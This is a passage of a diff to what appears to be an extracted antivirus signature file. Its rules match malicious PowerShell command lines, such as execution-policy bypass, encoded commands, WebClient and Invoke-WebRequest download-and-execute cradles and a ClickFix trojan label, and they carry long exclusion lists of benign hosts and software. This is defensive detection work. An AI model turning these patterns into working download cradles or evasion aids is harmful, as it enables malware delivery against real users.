00 70 00 73 00 3a 00 2f 00 2f 00 77 00 77 00 77 00 2e 00 69 00 6e 00 74 00 65 00 6c 00 6c 00 65 00 67 00 72 00 61 00 74 00 69 00 6f 00 6e 00 6c } //119 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*110+(#a_00_2 & 1)*94+(#a_00_4 & 1)*114+(#a_00_6 & 1)*119+(#a_00_7 & 1)*119) >=100 + +} +rule _InfrastructureShared_27299{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1e 00 1e 00 07 00 21 " + + strings : + $a_46_0 = {57 69 6e 33 32 2f 45 6e 63 6f 64 65 64 43 6f 6d 6d 61 6e 64 42 79 70 61 73 73 21 61 70 00 0a 00 34 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2f 00 65 00 70 00 20 00 62 00 79 00 70 00 61 00 73 00 73 00 } //21283 + $a_00_1 = {65 00 6e 00 63 00 0a 00 34 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 65 00 70 00 20 00 62 00 79 00 70 00 61 } //32 + $a_00_3 = {65 00 6e 00 63 00 0a 00 26 00 70 00 6f 00 77 00 65 00 72 00 20 00 2f 00 65 00 70 00 20 00 62 00 79 00 70 00 61 00 73 00 73 00 20 00 2f } //32 + $a_00_6 = {31 00 5c 00 31 00 09 00 c0 00 6a 00 61 00 62 00 69 00 61 00 64 00 30 00 61 00 6b 00 61 00 62 00 } //119 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*32+(#a_00_3 & 1)*32+(#a_00_6 & 1)*119) >=30 + +} +rule _InfrastructureShared_27300{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 07 00 21 " + + strings : + $a_46_0 = {50 6f 77 65 72 53 68 65 6c 6c 2f 49 6e 76 6f 6b 65 57 65 62 52 65 71 75 65 73 74 21 61 70 00 05 00 42 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d 00 77 00 20 00 68 00 69 00 64 } //21283 + $a_00_2 = {2d 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 05 00 2c 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 } //110 + $a_00_3 = {65 00 62 00 72 00 65 00 71 00 75 00 65 00 73 00 74 00 20 00 2d 00 75 00 72 00 69 00 03 00 20 00 2d 00 75 00 73 00 65 00 62 00 61 00 73 00 69 00 63 00 70 00 61 00 72 00 73 00 69 00 6e 00 67 00 05 00 06 00 69 00 65 00 78 00 05 00 e5 02 24 00 75 00 72 00 6c 00 20 00 3d 00 20 00 27 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 90 02 20 27 3b 00 20 00 24 00 } //45 + $a_00_4 = {73 00 70 00 6f 00 6e 00 73 00 65 00 20 00 3d 00 20 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 77 00 65 00 62 00 72 00 65 00 71 00 75 00 65 00 73 00 74 00 20 00 2d 00 75 00 72 00 69 00 20 00 24 00 75 00 72 00 6c 00 20 00 2d 00 75 00 73 00 65 00 62 00 61 00 73 00 69 00 63 00 70 00 61 00 72 00 73 00 69 } //114 + $a_00_6 = {24 00 74 00 65 00 78 00 74 00 20 00 3d 00 20 00 24 00 72 00 65 00 73 00 70 00 6f 00 6e 00 73 00 } //59 $text = $respons + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*110+(#a_00_3 & 1)*45+(#a_00_4 & 1)*114+(#a_00_6 & 1)*59) >=10 + +} +rule _InfrastructureShared_27301{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 05 00 21 " + + strings : + $a_46_0 = {57 69 6e 33 32 2f 50 6f 77 65 72 53 68 65 6c 6c 45 6e 63 6f 64 65 64 43 6f 6d 6d 61 6e 64 21 61 70 00 05 00 c8 00 63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 2f 00 6d 00 69 00 6e 00 20 00 70 00 } //21283 + $a_00_1 = {65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 65 00 20 00 6a 00 61 00 62 00 6a 00 61 00 64 00 30 00 61 00 6a 00 77 00 62 00 6f 00 61 00 68 00 71 00 61 00 6a 00 77 00 61 00 72 00 61 00 63 00 63 00 61 00 64 00 61 00 62 00 77 00 61 00 63 00 63 00 61 00 6f 00 77 00 61 00 6f 00 61 00 63 00 34 00 61 00 6a 00 77 00 62 00 63 00 61 00 66 00 63 00 61 00 6b } //111 + $a_00_3 = {63 00 6f 00 61 00 6d 00 77 00 61 00 79 00 61 00 66 00 77 00 61 00 79 00 77 00 61 00 2f 00 03 00 b6 00 61 00 64 00 38 00 61 00 62 00 61 00 61 00 75 00 61 00 67 00 75 00 61 00 6b 00 67 00 61 00 6e 00 61 00 63 00 61 00 61 00 69 00 67 00 61 00 6b 00 61 00 68 00 73 00 61 00 79 00 77 00 62 00 39 } //99 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*111+(#a_00_3 & 1)*99) >=10 + +} +rule _InfrastructureShared_27302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 01 00 21 " @@ -339756,7 +357102,196 @@ rule _InfrastructureShared_25952{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_25953{ +rule _InfrastructureShared_27303{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 ffffffa7 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 5a 00 64 00 1e 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 00 00 64 00 14 00 6d 00 73 00 68 00 74 00 61 00 2e 00 65 } //21283 + $a_00_2 = {18 00 63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 00 00 64 00 10 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 00 00 64 00 12 00 63 00 75 00 72 00 6c 00 2e 00 65 00 78 00 65 00 00 00 64 00 1a 00 66 00 6f 00 72 00 66 00 69 00 6c 00 65 00 73 00 2e 00 65 00 78 00 65 00 00 00 05 00 } //0 + $a_00_3 = {6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 6e 00 65 00 } //96 new-object system.ne + $a_00_4 = {68 00 74 00 74 00 70 00 2e 00 68 00 74 00 74 00 70 00 63 00 6c 00 69 00 65 00 6e 00 74 00 29 00 2e 00 67 00 65 00 74 00 61 00 73 00 79 00 } //116 http.httpclient).getasy + $a_00_5 = {05 00 6c 00 28 00 6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 6e 00 65 00 74 00 2e 00 68 00 74 00 74 00 70 00 2e 00 68 00 74 00 74 00 70 00 63 00 6c 00 69 00 65 00 6e 00 74 00 29 00 2e 00 67 00 65 00 74 00 73 00 74 00 72 00 69 00 6e } //110 + $a_00_7 = {6e 00 63 00 05 00 60 00 28 00 6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 29 00 2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 05 00 5c 00 28 00 6e 00 65 00 77 00 2d 00 6f 00 62 } //115 + $a_00_9 = {20 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 29 00 2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 66 00 69 00 6c 00 65 00 05 00 4e 00 28 00 6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 } //99 + $a_00_10 = {6e 00 74 00 29 00 2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 66 00 69 00 6c 00 65 00 05 00 52 00 28 00 6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 29 00 2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f } //105 + $a_00_12 = {72 00 69 00 6e 00 67 00 05 00 3e 00 5b 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 5d 00 3a 00 3a 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 05 00 08 00 63 00 75 00 72 00 6c 00 05 00 08 00 77 00 67 00 65 00 74 00 05 00 22 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 } //115 + $a_00_13 = {73 00 74 00 6d 00 65 00 74 00 68 00 6f 00 64 00 05 00 06 00 69 00 72 00 6d 00 05 00 22 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 77 00 65 00 62 00 72 00 65 00 71 00 75 00 65 00 73 00 74 00 05 00 06 00 69 00 77 00 72 00 05 00 06 00 69 00 65 00 78 00 05 00 22 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d } //114 + $a_00_15 = {65 00 73 00 73 00 69 00 6f 00 6e 00 05 00 1c 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 05 00 2a 00 5b 00 73 00 63 00 72 00 69 00 70 00 74 00 62 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a 00 63 00 72 00 65 00 61 00 74 00 65 00 05 00 26 00 73 00 63 00 72 00 69 00 70 00 74 00 62 00 6c 00 6f 00 63 00 } //112 + $a_00_16 = {3a 00 63 00 72 00 65 00 61 00 74 00 65 00 05 00 22 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 29 00 2e 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 28 00 29 00 05 00 10 00 69 00 } //107 + $a_00_17 = {6f 00 6b 00 65 00 28 00 29 00 05 00 1a 00 73 00 74 00 61 00 72 00 74 00 2d 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 05 00 08 00 73 00 61 00 70 00 73 00 05 00 22 00 63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 05 00 06 00 3a 00 2f 00 2f 00 05 00 3a 00 5b 00 63 00 68 00 61 00 72 00 5d 00 31 00 } //110 + $a_00_18 = {2b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 31 00 31 00 39 00 2b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 31 00 31 00 34 00 05 00 12 00 69 00 77 00 72 00 90 00 02 } //48 + $a_00_20 = {05 00 40 00 28 00 5b 00 74 00 65 00 78 00 74 00 2e 00 65 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 75 00 74 00 66 00 38 00 2e 00 67 00 65 00 74 00 73 00 74 00 72 00 69 00 6e 00 67 00 05 00 50 00 28 00 5b 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 74 00 65 00 78 00 74 00 2e 00 65 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 5d 00 3a 00 } //101 + $a_00_21 = {73 00 63 00 69 00 69 00 2e 00 67 00 65 00 74 00 73 00 74 00 72 00 69 00 6e 00 67 00 05 00 44 00 5b 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 66 00 72 00 6f 00 6d 00 62 00 61 00 73 00 65 00 36 00 34 00 73 00 74 00 72 00 69 00 6e } //58 + $a_00_24 = {73 00 74 00 65 00 6d 00 2e 00 74 00 65 00 78 00 74 00 2e 00 65 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 75 00 74 00 66 00 38 00 2e 00 67 00 65 00 74 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 5b 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 66 00 72 00 6f 00 6d 00 62 00 61 00 73 } //115 + $a_00_26 = {74 00 72 00 69 00 6e 00 67 00 05 00 20 00 2d 00 75 00 73 00 65 00 62 00 61 00 73 00 69 00 63 00 70 00 61 00 72 00 73 00 69 00 6e 00 67 00 05 00 10 00 2d 00 2d 00 62 00 79 00 70 00 61 00 73 00 73 00 05 00 10 00 2d 00 2d 00 6e 00 6f 00 6c 00 6f 00 67 00 6f 00 05 00 1e 00 2d 00 6e 00 6f 00 6e 00 69 00 6e 00 74 00 65 00 72 00 61 00 63 00 74 00 69 } //52 + $a_00_28 = {2d 00 65 00 70 00 20 00 62 00 79 00 70 00 61 00 73 00 73 00 } //5 -ep bypass + $a_00_29 = {2d 00 65 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 70 00 6f 00 6c 00 69 00 63 00 79 00 20 00 62 00 79 00 70 00 61 00 73 00 73 00 } //5 -executionpolicy bypass + $a_00_30 = {2d 00 6e 00 6f 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 } //5 -noprofile + $a_00_31 = {6e 00 6f 00 70 00 } //5 nop + $a_00_32 = {2d 00 77 00 } //5 -w + $a_00_33 = {e2 00 80 00 95 00 77 00 } //5 + $a_00_34 = {e2 00 80 00 94 00 77 00 } //5 + $a_00_35 = {e2 00 80 00 } //5 + $a_00_36 = {e2 00 80 00 91 00 } //5 + $a_00_37 = {e2 00 80 00 92 00 } //5 + $a_00_38 = {e2 00 80 00 94 00 } //5 + $a_00_39 = {e2 00 80 00 95 00 } //5 + $a_00_40 = {e2 00 81 00 83 00 } //5 + $a_00_41 = {ef 00 b9 00 98 00 } //5 + $a_00_42 = {ef 00 b9 00 a3 00 } //5 + $a_00_43 = {ef 00 bc 00 8d 00 } //5 + $a_00_44 = {e2 00 b8 00 ba 00 } //5 + $a_00_45 = {e2 00 b8 00 bb 00 } //5 + $a_00_46 = {5b 00 63 00 68 00 61 00 72 00 5d 00 } //5 [char] + $a_00_47 = {65 00 64 00 67 00 65 00 } //-500 edge + $a_00_48 = {74 00 6a 00 75 00 68 00 2d 00 77 00 6f 00 72 00 6b 00 73 00 74 00 61 00 74 00 69 00 6f 00 6e 00 2d 00 62 00 61 00 63 00 6b 00 67 00 72 00 6f 00 75 00 6e 00 64 00 2e 00 62 00 61 00 74 00 } //-500 tjuh-workstation-background.bat + $a_00_49 = {73 00 74 00 65 00 61 00 6d 00 3a 00 2f 00 2f 00 } //-500 steam:// + $a_00_50 = {67 00 70 00 75 00 70 00 64 00 61 00 74 00 65 00 20 00 2f 00 66 00 6f 00 72 00 63 00 65 00 } //-500 gpupdate /force + $a_00_51 = {72 00 75 00 6e 00 67 00 61 00 6d 00 65 00 69 00 64 00 } //-500 rungameid + $a_00_52 = {62 00 72 00 6f 00 77 00 73 00 65 00 72 00 20 00 65 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 } //-500 browser extension + $a_00_53 = {55 00 70 00 64 00 61 00 74 00 65 00 2e 00 65 00 78 00 65 00 } //-500 Update.exe + $a_00_54 = {73 00 6c 00 61 00 63 00 6b 00 } //-500 slack + $a_00_55 = {61 00 63 00 72 00 6f 00 72 00 64 00 33 00 32 00 } //-500 acrord32 + $a_00_56 = {6c 00 6f 00 6f 00 6d 00 2e 00 65 00 78 00 65 00 } //-500 loom.exe + $a_00_57 = {65 00 78 00 63 00 65 00 6c 00 } //-500 excel + $a_00_58 = {77 00 69 00 6e 00 77 00 6f 00 72 00 64 00 } //-500 winword + $a_00_59 = {70 00 6f 00 77 00 65 00 72 00 70 00 6e 00 74 00 } //-500 powerpnt + $a_00_60 = {6f 00 6e 00 65 00 6e 00 6f 00 74 00 65 00 } //-500 onenote + $a_00_61 = {6f 00 75 00 74 00 6c 00 6f 00 6f 00 6b 00 } //-500 outlook + $a_00_62 = {73 00 69 00 67 00 6e 00 61 00 6c 00 } //-500 signal + $a_00_63 = {73 00 74 00 61 00 72 00 74 00 20 00 6d 00 65 00 6e 00 75 00 } //-500 start menu + $a_00_64 = {70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 66 00 69 00 6c 00 65 00 73 00 } //-500 program files + $a_00_65 = {65 00 6d 00 62 00 65 00 64 00 68 00 6f 00 6f 00 6b 00 2d 00 78 00 38 00 36 00 2e 00 65 00 78 00 65 00 } //-500 embedhook-x86.exe + $a_00_66 = {63 00 61 00 6e 00 76 00 61 00 } //-500 canva + $a_00_67 = {73 00 79 00 6e 00 63 00 63 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 6c 00 65 00 72 00 } //-500 synccontroller + $a_00_68 = {61 00 63 00 72 00 6f 00 62 00 61 00 74 00 } //-500 acrobat + $a_00_69 = {61 00 63 00 63 00 65 00 6e 00 74 00 75 00 72 00 65 00 } //-500 accenture + $a_00_70 = {61 00 72 00 74 00 69 00 63 00 75 00 6c 00 61 00 74 00 65 00 } //-500 articulate + $a_00_71 = {62 00 6c 00 75 00 65 00 73 00 74 00 61 00 63 00 6b 00 73 00 } //-500 bluestacks + $a_00_72 = {65 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 } //-500 explorer + $a_00_73 = {2e 00 70 00 73 00 31 00 } //-500 .ps1 + $a_00_74 = {2e 00 68 00 74 00 61 00 } //-500 .hta + $a_00_75 = {61 00 7a 00 75 00 72 00 65 00 5f 00 72 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 5f 00 67 00 72 00 6f 00 75 00 70 00 } //-500 azure_resource_group + $a_00_76 = {73 00 65 00 6d 00 70 00 74 00 6f 00 73 00 68 00 69 00 62 00 61 00 67 00 61 00 6d 00 65 00 72 00 2e 00 73 00 65 00 6d 00 70 00 74 00 6f 00 73 00 68 00 69 00 62 00 61 00 } //-500 semptoshibagamer.semptoshiba + $a_00_77 = {6f 00 70 00 74 00 69 00 70 00 6c 00 65 00 78 00 61 00 6c 00 69 00 65 00 6e 00 77 00 61 00 72 00 65 00 2e 00 6f 00 70 00 74 00 69 00 70 00 6c 00 65 00 78 00 } //-500 optiplexalienware.optiplex + $a_00_78 = {3a 00 2f 00 2f 00 63 00 68 00 6f 00 63 00 6f 00 6c 00 61 00 74 00 65 00 79 00 2e 00 6f 00 72 00 67 00 2f 00 } //-500 ://chocolatey.org/ + $a_00_79 = {3a 00 2f 00 2f 00 63 00 6f 00 6d 00 6d 00 75 00 6e 00 69 00 74 00 79 00 2e 00 63 00 68 00 6f 00 63 00 6f 00 6c 00 61 00 74 00 65 00 79 00 2e 00 6f 00 72 00 67 00 2f 00 } //-500 ://community.chocolatey.org/ + $a_00_80 = {3a 00 2f 00 2f 00 64 00 65 00 74 00 65 00 63 00 74 00 2e 00 62 00 6c 00 61 00 63 00 6b 00 64 00 75 00 63 00 6b 00 2e 00 63 00 6f 00 6d 00 2f 00 } //-500 ://detect.blackduck.com/ + $a_00_81 = {3a 00 2f 00 2f 00 64 00 65 00 74 00 65 00 63 00 74 00 2e 00 73 00 79 00 6e 00 6f 00 70 00 73 00 79 00 73 00 2e 00 63 00 6f 00 6d 00 2f 00 } //-500 ://detect.synopsys.com/ + $a_00_82 = {3a 00 2f 00 2f 00 6f 00 66 00 66 00 69 00 63 00 65 00 63 00 64 00 6e 00 2e 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 63 00 6f 00 6d 00 2f 00 } //-500 ://officecdn.microsoft.com/ + $a_00_83 = {3a 00 2f 00 2f 00 72 00 65 00 70 00 6f 00 2e 00 6d 00 61 00 76 00 65 00 6e 00 2e 00 61 00 70 00 61 00 63 00 68 00 65 00 2e 00 6f 00 72 00 67 00 2f 00 } //-500 ://repo.maven.apache.org/ + $a_00_84 = {74 00 68 00 65 00 66 00 61 00 63 00 65 00 62 00 6f 00 6f 00 6b 00 } //-500 thefacebook + $a_00_85 = {2e 00 67 00 6f 00 76 00 2e 00 61 00 75 00 } //-500 .gov.au + $a_00_86 = {2e 00 63 00 71 00 2e 00 63 00 61 00 } //-500 .cq.ca + $a_00_87 = {3a 00 2f 00 2f 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 2f 00 } //-500 ://localhost/ + $a_00_88 = {3a 00 2f 00 2f 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 3a 00 } //-500 ://localhost: + $a_00_89 = {3a 00 2f 00 2f 00 31 00 36 00 39 00 2e 00 32 00 35 00 34 00 2e 00 } //-500 ://169.254. + $a_00_90 = {3a 00 2f 00 2f 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 } //-500 ://127.0.0.1 + $a_00_91 = {3a 00 2f 00 2f 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 3a 00 } //-500 ://127.0.0.1: + $a_00_92 = {3a 00 2f 00 2f 00 31 00 39 00 32 00 2e 00 31 00 36 00 38 00 2e 00 } //-500 ://192.168. + $a_00_93 = {3a 00 2f 00 2f 00 31 00 37 00 32 00 2e 00 31 00 36 00 2e 00 } //-500 ://172.16. + $a_00_94 = {3a 00 2f 00 2f 00 31 00 30 00 2e 00 } //-500 ://10. + $a_00_95 = {63 00 74 00 63 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 6e 00 62 00 73 00 63 00 74 00 63 00 2e 00 63 00 6f 00 2e 00 75 00 6b 00 } //-500 ctcadmin.nbsctc.co.uk + $a_00_96 = {6e 00 62 00 73 00 64 00 65 00 76 00 2e 00 63 00 6f 00 2e 00 75 00 6b 00 } //-500 nbsdev.co.uk + $a_00_97 = {73 00 65 00 72 00 76 00 65 00 72 00 2e 00 68 00 61 00 2e 00 6f 00 72 00 67 00 2e 00 68 00 6b 00 } //-500 server.ha.org.hk + $a_00_98 = {66 00 69 00 67 00 6d 00 61 00 2e 00 63 00 6f 00 6d 00 } //-500 figma.com + $a_00_99 = {2e 00 73 00 68 00 61 00 72 00 65 00 70 00 6f 00 69 00 6e 00 74 00 2e 00 63 00 6f 00 6d 00 2f 00 73 00 69 00 74 00 65 00 73 00 2f 00 } //-500 .sharepoint.com/sites/ + $a_00_100 = {63 00 6f 00 72 00 65 00 2e 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2e 00 6e 00 65 00 74 00 } //-500 core.windows.net + $a_00_101 = {2e 00 61 00 6d 00 61 00 7a 00 6f 00 6e 00 61 00 77 00 73 00 2e 00 63 00 6f 00 6d 00 2f 00 } //-500 .amazonaws.com/ + $a_00_102 = {61 00 7a 00 75 00 72 00 65 00 77 00 65 00 62 00 73 00 69 00 74 00 65 00 73 00 2e 00 6e 00 65 00 74 00 } //-500 azurewebsites.net + $a_00_103 = {6f 00 70 00 65 00 6e 00 69 00 74 00 } //-500 openit + $a_00_104 = {2e 00 6f 00 72 00 67 00 2e 00 75 00 61 00 } //-500 .org.ua + $a_00_105 = {64 00 72 00 70 00 2e 00 73 00 75 00 } //-500 drp.su + $a_00_106 = {6d 00 73 00 70 00 2e 00 } //-500 msp. + $a_00_107 = {67 00 69 00 74 00 66 00 6f 00 72 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 } //-500 gitforwindows + $a_00_108 = {6d 00 73 00 65 00 63 00 6f 00 70 00 73 00 } //-500 msecops + $a_00_109 = {63 00 73 00 6f 00 6c 00 76 00 65 00 2e 00 6e 00 65 00 74 00 } //-500 csolve.net + $a_00_110 = {77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5f 00 6d 00 69 00 67 00 72 00 61 00 74 00 65 00 } //-500 windows_migrate + $a_00_111 = {2f 00 75 00 73 00 72 00 2f 00 62 00 69 00 6e 00 2f 00 } //-500 /usr/bin/ + $a_00_112 = {2f 00 62 00 69 00 6e 00 2f 00 62 00 61 00 73 00 68 00 } //-500 /bin/bash + $a_00_113 = {6e 00 69 00 6e 00 6a 00 61 00 72 00 6d 00 6d 00 2e 00 63 00 6f 00 6d 00 } //-500 ninjarmm.com + $a_00_114 = {75 00 74 00 6f 00 72 00 72 00 65 00 6e 00 74 00 } //-500 utorrent + $a_00_115 = {31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 } //-500 127.0.0.1 + $a_00_116 = {63 00 69 00 74 00 72 00 69 00 78 00 } //-500 citrix + $a_00_117 = {63 00 69 00 73 00 63 00 6f 00 } //-500 cisco + $a_00_118 = {72 00 65 00 70 00 6c 00 61 00 63 00 65 00 2d 00 70 00 72 00 69 00 6e 00 74 00 65 00 72 00 73 00 } //-500 replace-printers + $a_00_119 = {73 00 74 00 61 00 67 00 69 00 6e 00 67 00 75 00 72 00 6c 00 } //-500 stagingurl + $a_00_120 = {72 00 65 00 70 00 6c 00 61 00 63 00 65 00 2e 00 62 00 61 00 74 00 } //-500 replace.bat + $a_00_121 = {70 00 72 00 69 00 76 00 61 00 74 00 65 00 2d 00 74 00 6f 00 6b 00 65 00 6e 00 } //-500 private-token + $a_00_122 = {79 00 75 00 62 00 69 00 6b 00 65 00 79 00 } //-500 yubikey + $a_00_123 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 5f 00 69 00 73 00 65 00 2e 00 65 00 78 00 65 00 } //-500 powershell_ise.exe + $a_00_124 = {6d 00 79 00 73 00 71 00 6c 00 2e 00 63 00 6f 00 6d 00 } //-500 mysql.com + $a_00_125 = {65 00 79 00 65 00 2d 00 69 00 6e 00 66 00 69 00 6e 00 69 00 74 00 65 00 2d 00 70 00 6c 00 61 00 79 00 65 00 72 00 } //-500 eye-infinite-player + $a_00_126 = {61 00 63 00 63 00 65 00 6c 00 6c 00 69 00 73 00 2e 00 63 00 6f 00 6d 00 } //-500 accellis.com + $a_00_127 = {5c 00 6f 00 6e 00 65 00 64 00 72 00 69 00 76 00 65 00 } //-500 \onedrive + $a_00_128 = {72 00 65 00 70 00 6c 00 61 00 63 00 65 00 70 00 72 00 69 00 6e 00 74 00 } //-500 replaceprint + $a_00_129 = {27 00 5c 00 5c 00 } //-500 '\\ + $a_00_130 = {20 00 5c 00 5c 00 } //-500 \\ + $a_00_131 = {22 00 5c 00 5c 00 } //-500 "\\ + $a_00_132 = {28 00 5c 00 5c 00 } //-500 (\\ + $a_00_133 = {2c 00 5c 00 5c 00 } //-500 ,\\ + $a_00_134 = {2e 00 5c 00 5c 00 } //-500 .\\ + $a_00_135 = {35 00 65 00 37 00 30 00 34 00 32 00 63 00 64 00 2d 00 62 00 35 00 64 00 31 00 2d 00 34 00 61 00 30 00 62 00 2d 00 39 00 64 00 65 00 39 00 2d 00 61 00 66 00 66 00 64 00 30 00 31 00 30 00 62 00 35 00 39 00 36 00 34 00 } //-500 5e7042cd-b5d1-4a0b-9de9-affd010b5964 + $a_00_136 = {61 00 75 00 74 00 6f 00 63 00 6f 00 6e 00 66 00 69 00 67 00 75 00 72 00 6c 00 } //-500 autoconfigurl + $a_00_137 = {66 00 73 00 74 00 6d 00 70 00 73 00 63 00 } //-500 fstmpsc + $a_00_138 = {63 00 68 00 72 00 6f 00 6d 00 65 00 } //-500 chrome + $a_00_139 = {66 00 69 00 72 00 65 00 66 00 6f 00 78 00 } //-500 firefox + $a_00_140 = {6d 00 73 00 65 00 64 00 67 00 65 00 } //-500 msedge + $a_00_141 = {69 00 65 00 78 00 70 00 6c 00 6f 00 72 00 65 00 } //-500 iexplore + $a_00_142 = {6f 00 70 00 65 00 72 00 61 00 } //-500 opera + $a_00_143 = {73 00 61 00 66 00 61 00 72 00 69 00 } //-500 safari + $a_00_144 = {62 00 72 00 61 00 76 00 65 00 } //-500 brave + $a_00_145 = {76 00 69 00 76 00 61 00 6c 00 64 00 69 00 } //-500 vivaldi + $a_00_146 = {6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 65 00 64 00 67 00 65 00 } //-500 microsoftedge + $a_00_147 = {70 00 72 00 6f 00 64 00 6c 00 62 00 2e 00 74 00 72 00 61 00 76 00 70 00 2e 00 6e 00 65 00 74 00 2f 00 } //-500 prodlb.travp.net/ + $a_00_148 = {6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2d 00 65 00 64 00 67 00 65 00 3a 00 } //-500 microsoft-edge: + $a_00_149 = {6d 00 79 00 2e 00 63 00 61 00 72 00 69 00 74 00 61 00 73 00 2d 00 6c 00 69 00 6e 00 7a 00 2e 00 61 00 74 00 } //-500 my.caritas-linz.at + $a_00_150 = {6d 00 79 00 77 00 6f 00 72 00 6b 00 64 00 61 00 79 00 2e 00 63 00 6f 00 6d 00 } //-500 myworkday.com + $a_00_151 = {2e 00 75 00 6b 00 2f 00 } //-500 .uk/ + $a_00_152 = {6c 00 61 00 75 00 6e 00 63 00 68 